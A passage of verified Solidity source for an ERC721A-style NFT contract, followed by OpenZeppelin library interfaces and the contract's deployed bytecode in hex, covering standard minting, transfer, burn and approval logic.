{IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101895760003560e01c806301ffc9a71461018e57806306fdde03146101c357806307e89ec0146101e5578063081812fc14610209578063089d466514610241578063095ea7b3146102575780630a00ae831461027957806318160ddd146102995780631919fed7146102ae5780631e84c413146102ce57806323b872dd146102e857806328cad13d146103085780632f745c59146103285780633ccfd60b1461034857806342842e0e1461035d5780634f6ccce71461037d57806355f804b31461039d5780636352211e146103bd57806366cb8f99146103dd57806370a08231146103f3578063715018a6146104135780638da5cb5b1461042857806395d89b411461043d5780639e9fcffc14610452578063a0712d6814610472578063a22cb46514610485578063b88d4fde146104a5578063c6a91b42146104c5578063c87b56dd146104db578063d547cfb7146104fb578063d5abeb0114610510578063e985e9c514610526578063f2a3013e1461056f578063f2fde38b1461058f575b600080fd5b34801561019a57600080fd5b506101ae6101a9366004611bb2565b6105af565b60405190151581526020015b60405180910390f35b3480156101cf57600080fd5b506101d861061c565b6040516101ba9190611dc0565b3480156101f157600080fd5b506101fb600d5481565b6040519081526020016101ba565b34801561021557600080fd5b50610229610224366004611c34565b6106ae565b6040516001600160a01b0390911681526020016101ba565b34801561024d57600080fd5b506101fb600e5481565b34801561026357600080fd5b50610277610272366004611b6d565b6106f2565b005b34801561028557600080fd5b50610277610294366004611c34565b610780565b3480156102a557600080fd5b506101fb6107bd565b3480156102ba57600080fd5b506102776102c9366004611c34565b6107dc565b3480156102da57600080fd5b50600f546101ae9060ff1681565b3480156102f457600080fd5b50610277610303366004611a8c565b610810565b34801561031457600080fd5b50610277610323366004611b97565b61081b565b34801561033457600080fd5b506101fb610343366004611b6d565b61085d565b34801561035457600080fd5b50610277610959565b34801561036957600080fd5b50610277610378366004611a8c565b6109f1565b34801561038957600080fd5b506101fb610398366004611c34565b610a0c565b3480156103a957600080fd5b506102776103b8366004611bec565b610ab6565b3480156103c957600080fd5b506102296103d8366004611c34565b610afc565b3480156103e957600080fd5b506101fb600c5481565b3480156103ff57600080fd5b506101fb61040e366004611a37565b610b0e565b34801561041f57600080fd5b50610277610b5c565b34801561043457600080fd5b50610229610b97565b34801561044957600080fd5b506101d8610ba6565b34801561045e57600080fd5b5061027761046d366004611c34565b610bb5565b610277610480366004611c34565b610be9565b34801561049157600080fd5b506102776104a0366004611b43565b610cc2565b3480156104b157600080fd5b506102776104c0366004611ac8565b610d58565b3480156104d157600080fd5b506101fb600b5481565b3480156104e757600080fd5b506101d86104f6366004611c34565b610d92565b34801561050757600080fd5b506101d8610e33565b34801561051c57600080fd5b506101fb600a5481565b34801561053257600080fd5b506101ae610541366004611a59565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561057b57600080fd5b5061027761058a366004611c4d565b610ec1565b34801561059b57600080fd5b506102776105aa366004611a37565b610f9e565b60006001600160e01b031982166380ac58cd60e01b14806105e057506001600160e01b03198216635b5e139f60e01b145b806105fb57506001600160e01b0319821663780e9d6360e01b145b8061061657506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461062b90611e96565b80601f016020809104026020016040519081016040528092919081815260200182805461065790611e96565b80156106a45780601f10610679576101008083540402835291602001916106a4565b820191906000526020600020905b81548152906001019060200180831161068757829003601f168201915b5050505050905090565b60006106b98261103b565b6106d6576040516333d1c03960e21b815260040160405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006106fd82610afc565b9050806001600160a01b0316836001600160a01b031614156107325760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b0382161480159061075257506107508133610541565b155b15610770576040516367d9dca160e11b815260040160405180910390fd5b61077b83838361106f565b505050565b33610789610b97565b6001600160a01b0316146107b85760405162461bcd60e51b81526004016107af90611dd3565b60405180910390fd5b600e55565b6000546001600160801b03600160801b82048116918116919091031690565b336107e5610b97565b6001600160a01b03161461080b5760405162461bcd60e51b81526004016107af90611dd3565b600d55565b61077b8383836110cb565b33610824610b97565b6001600160a01b03161461084a5760405162461bcd60e51b81526004016107af90611dd3565b600f805460ff1916911515919091179055565b600061086883610b0e565b8210610887576040516306ed618760e11b815260040160405180910390fd5b600080546001600160801b03169080805b8381101561095357600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff1615801592820192909252906108ff575061094b565b80516001600160a01b03161561091457805192505b876001600160a01b0316836001600160a01b0316141561094957868414156109425750935061061692505050565b6001909301925b505b600101610898565b50600080fd5b33610962610b97565b6001600160a01b0316146109885760405162461bcd60e51b81526004016107af90611dd3565b600260085414156109db5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016107af565b60026008556109ea33476112d5565b6001600855565b61077b83838360405180602001604052806000815250610d58565b600080546001600160801b031681805b82811015610a9c57600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290610a935785831415610a8c5750949350505050565b6001909201915b50600101610a1c565b506040516329c8c00760e21b815260040160405180910390fd5b33610abf610b97565b6001600160a01b031614610ae55760405162461bcd60e51b81526004016107af90611dd3565b8051610af89060099060208401906118fd565b5050565b6000610b07826113eb565b5192915050565b60006001600160a01b038216610b37576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600460205260409020546001600160401b031690565b33610b65610b97565b6001600160a01b031614610b8b5760405162461bcd60e51b81526004016107af90611dd3565b610b95600061150d565b565b6007546001600160a01b031690565b60606002805461062b90611e96565b33610bbe610b97565b6001600160a01b031614610be45760405162461bcd60e51b81526004016107af90611dd3565b600b55565b600f5460ff16610c355760405162461bcd60e51b8152602060048201526017602482015276283ab13634b19039b0b6329034b9903737ba1037b832b760491b60448201526064016107af565b600e5481610c416107bd565b610c4b9190611e08565b1180610c585750600c5481115b15610cb5573481600d54610c6c9190611e34565b1115610cb55760405162461bcd60e51b8152602060048201526018602482015277125b98dbdc9c9958dd08115512081d985b1d59481cd95b9d60421b60448201526064016107af565b610cbf338261155f565b50565b6001600160a01b038216331415610cec5760405163b06307db60e01b815260040160405180910390fd5b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610d638484846110cb565b610d6f84848484611579565b610d8c576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6060610d9d8261103b565b610e015760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107af565b6009610e0c83611688565b604051602001610e1d929190611cb8565b6040516020818303038152906040529050919050565b60098054610e4090611e96565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6c90611e96565b8015610eb95780601f10610e8e57610100808354040283529160200191610eb9565b820191906000526020600020905b815481529060010190602001808311610e9c57829003601f168201915b505050505081565b33610eca610b97565b6001600160a01b031614610ef05760405162461bcd60e51b81526004016107af90611dd3565b60008211610f365760405162461bcd60e51b8152602060048201526013602482015272125b9d985b1a59081b5a5b9d08185b5bdd5b9d606a1b60448201526064016107af565b600a5482610f426107bd565b610f4c9190611e08565b1115610f945760405162461bcd60e51b815260206004820152601760248201527613585e1a5b5d5b481cdd5c1c1b1e48195e18d959591959604a1b60448201526064016107af565b610af8818361155f565b33610fa7610b97565b6001600160a01b031614610fcd5760405162461bcd60e51b81526004016107af90611dd3565b6001600160a01b0381166110325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107af565b610cbf8161150d565b600080546001600160801b031682108015610616575050600090815260036020526040902054600160e01b900460ff161590565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006110d6826113eb565b80519091506000906001600160a01b0316336001600160a01b03161480611104575081516111049033610541565b8061111f575033611114846106ae565b6001600160a01b0316145b90508061113f57604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b0316146111745760405162a1148160e81b815260040160405180910390fd5b6001600160a01b03841661119b57604051633a954ecd60e21b815260040160405180910390fd5b6111ab600084846000015161106f565b6001600160a01b03858116600090815260046020908152604080832080546001600160401b03198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600390945282852080546001600160e01b031916909417600160a01b42909216919091021790925590860180835291205490911661129d576000546001600160801b031681101561129d57825160008281526003602090815260409091208054918601516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b0316600080516020611f6f83398151915260405160405180910390a45b5050505050565b804710156113255760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016107af565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611372576040519150601f19603f3d011682016040523d82523d6000602084013e611377565b606091505b505090508061077b5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c20726044820152791958da5c1a595b9d081b585e481a185d99481c995d995c9d195960321b60648201526084016107af565b60408051606081018252600080825260208201819052918101829052905482906001600160801b03168110156114f457600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161515918101829052906114f25780516001600160a01b031615611489579392505050565b5060001901600081815260036020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff16151592810192909252156114ed579392505050565b611489565b505b604051636f96cda160e11b815260040160405180910390fd5b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610af8828260405180602001604052806000815250611785565b60006001600160a01b0384163b1561167c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906115bd903390899088908890600401611d83565b602060405180830381600087803b1580156115d757600080fd5b505af1925050508015611607575060408051601f3d908101601f1916820190925261160491810190611bcf565b60015b611662573d808015611635576040519150601f19603f3d011682016040523d82523d6000602084013e61163a565b606091505b50805161165a576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611680565b5060015b949350505050565b6060816116ac5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156116d657806116c081611ed1565b91506116cf9050600a83611e20565b91506116b0565b6000816001600160401b038111156116f0576116f0611f42565b6040519080825280601f01601f19166020018201604052801561171a576020820181803683370190505b5090505b84156116805761172f600183611e53565b915061173c600a86611eec565b611747906030611e08565b60f81b81838151811061175c5761175c611f2c565b60200101906001600160f81b031916908160001a90535061177e600a86611e20565b945061171e565b61077b83838360016000546001600160801b03166001600160a01b0385166117bf57604051622e076360e81b815260040160405180910390fd5b836117dd5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260046020908152604080832080546001600160801b031981166001600160401b038083168c018116918217600160401b6001600160401b031990941690921783900481168c018116909202179091558584526003909252822080546001600160e01b031916909317600160a01b42909216919091021790915581905b858110156118d75760405182906001600160a01b03891690600090600080516020611f6f833981519152908290a48380156118ad57506118ab6000888488611579565b155b156118cb576040516368d2bf6b60e11b815260040160405180910390fd5b60019182019101611868565b50600080546001600160801b0319166001600160801b03929092169190911790556112ce565b82805461190990611e96565b90600052602060002090601f01602090048101928261192b5760008555611971565b82601f1061194457805160ff1916838001178555611971565b82800160010185558215611971579182015b82811115611971578251825591602001919060010190611956565b5061197d929150611981565b5090565b5b8082111561197d5760008155600101611982565b60006001600160401b03808411156119b0576119b0611f42565b604051601f8501601f19908116603f011681019082821181831017156119d8576119d8611f42565b816040528093508581528686860111156119f157600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611a2257600080fd5b919050565b80358015158114611a2257600080fd5b600060208284031215611a4957600080fd5b611a5282611a0b565b9392505050565b60008060408385031215611a6c57600080fd5b611a7583611a0b565b9150611a8360208401611a0b565b90509250929050565b600080600060608486031215611aa157600080fd5b611aaa84611a0b565b9250611ab860208501611a0b565b9150604084013590509250925092565b60008060008060808587031215611ade57600080fd5b611ae785611a0b565b9350611af560208601611a0b565b92506040850135915060608501356001600160401b03811115611b1757600080fd5b8501601f81018713611b2857600080fd5b611b3787823560208401611996565b91505092959194509250565b60008060408385031215611b5657600080fd5b611b5f83611a0b565b9150611a8360208401611a27565b60008060408385031215611b8057600080fd5b611b8983611a0b565b946020939093013593505050565b600060208284031215611ba957600080fd5b611a5282611a27565b600060208284031215611bc457600080fd5b8135611a5281611f58565b600060208284031215611be157600080fd5b8151611a5281611f58565b600060208284031215611bfe57600080fd5b81356001600160401b03811115611c1457600080fd5b8201601f81018413611c2557600080fd5b61168084823560208401611996565b600060208284031215611c4657600080fd5b5035919050565b60008060408385031215611c6057600080fd5b82359150611a8360208401611a0b565b60008151808452611c88816020860160208601611e6a565b601f01601f19169290920160200192915050565b60008151611cae818560208601611e6a565b9290920192915050565b600080845481600182811c915080831680611cd457607f831692505b6020808410821415611cf457634e487b7160e01b86526022600452602486fd5b818015611d085760018114611d1957611d46565b60ff19861689528489019650611d46565b60008b81526020902060005b86811015611d3e5781548b820152908501908301611d25565b505084890196505b505050505050611d7a611d69611d6383602f60f81b815260010190565b86611c9c565b64173539b7b760d91b815260050190565b95945050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611db690830184611c70565b9695505050505050565b602081526000611a526020830184611c70565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611e1b57611e1b611f00565b500190565b600082611e2f57611e2f611f16565b500490565b6000816000190483118215151615611e4e57611e4e611f00565b500290565b600082821015611e6557611e65611f00565b500390565b60005b83811015611e85578181015183820152602001611e6d565b83811115610d8c5750506000910152565b600181811c90821680611eaa57607f821691505b60208210811415611ecb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611ee557611ee5611f00565b5060010190565b600082611efb57611efb611f16565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b6000526032600452